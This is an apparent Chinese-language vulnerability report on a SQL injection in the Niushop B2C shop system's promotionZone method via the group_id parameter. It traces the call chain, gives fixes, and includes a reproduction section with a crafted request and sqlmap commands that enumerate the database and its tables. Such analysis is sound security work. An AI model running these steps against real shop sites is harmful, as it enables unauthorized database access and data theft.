某Shop SQL注入(二)
字数 952 2025-08-26 22:11:34
Niushop B2C商城系统SQL注入漏洞分析报告
0x01 漏洞概述
Niushop B2C商城系统是基于ThinkPHP5.0开发的电商平台,在/Application/(wap/shop)/Controller/Goods.php文件的promotionZone方法中存在SQL注入漏洞。该漏洞源于未对用户输入的group_id参数进行有效过滤,导致攻击者可以构造恶意SQL语句进行注入攻击。
0x02 漏洞分析
漏洞位置
- 控制器文件:
/Application/(wap/shop)/Controller/Goods.php - 方法:
promotionZone - 关键参数:
group_id
漏洞调用链
promotionZone方法接收group_id参数(无过滤)- 将参数拼接到SQL条件中
- 传递给
GoodsService->getGoodsList方法 - 继续传递到
NsGoodsViewModel->getGoodsViewList方法 - 再传递到
NsGoodsViewModel->getGoodsViewQuery方法 - 最终传递到
BaseModel->viewPageQuery方法执行
关键代码分析
// Goods.php中的promotionZone方法
$group_id = request()->get('group_id', ''); // 获取未过滤的group_id参数
if (!empty($group_id)) {
$condition .= " and (FIND_IN_SET($group_id, group_id_array))"; // 直接拼接SQL
}
// 后续调用链
$goods_list = $this->goods_service->getGoodsList($condition);
0x03 漏洞复现
复现步骤
- 构造恶意请求:
GET /index.php?s=/wap/Goods/promotionZone&group_id=*&page=1 HTTP/1.1
Host: target.com
X-Requested-With: XMLHttpRequest
- 使用sqlmap进行自动化测试:
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
复现要点
- 需要
X-Requested-With: XMLHttpRequest头 - 漏洞利用点为
group_id参数 - 系统使用MySQL数据库
0x04 漏洞修复建议
临时修复方案
- 在
promotionZone方法中添加参数过滤:
$group_id = intval(request()->get('group_id', 0)); // 强制转换为整数
- 或者使用预处理语句重构SQL查询
长期修复方案
- 在框架层面实现统一的输入过滤机制
- 使用ORM或查询构造器代替原生SQL拼接
- 实现参数化查询
0x05 安全建议
- 对所有用户输入进行严格验证和过滤
- 避免直接拼接用户输入到SQL语句中
- 使用框架提供的安全查询方法
- 定期进行代码安全审计
- 部署WAF等防护措施
0x06 总结
该漏洞是典型的SQL注入漏洞,由于未对用户输入进行过滤直接拼接到SQL语句中导致。开发人员应遵循"不信任任何用户输入"的原则,对所有输入参数进行严格验证和过滤,使用安全的数据库查询方式,避免此类安全问题发生。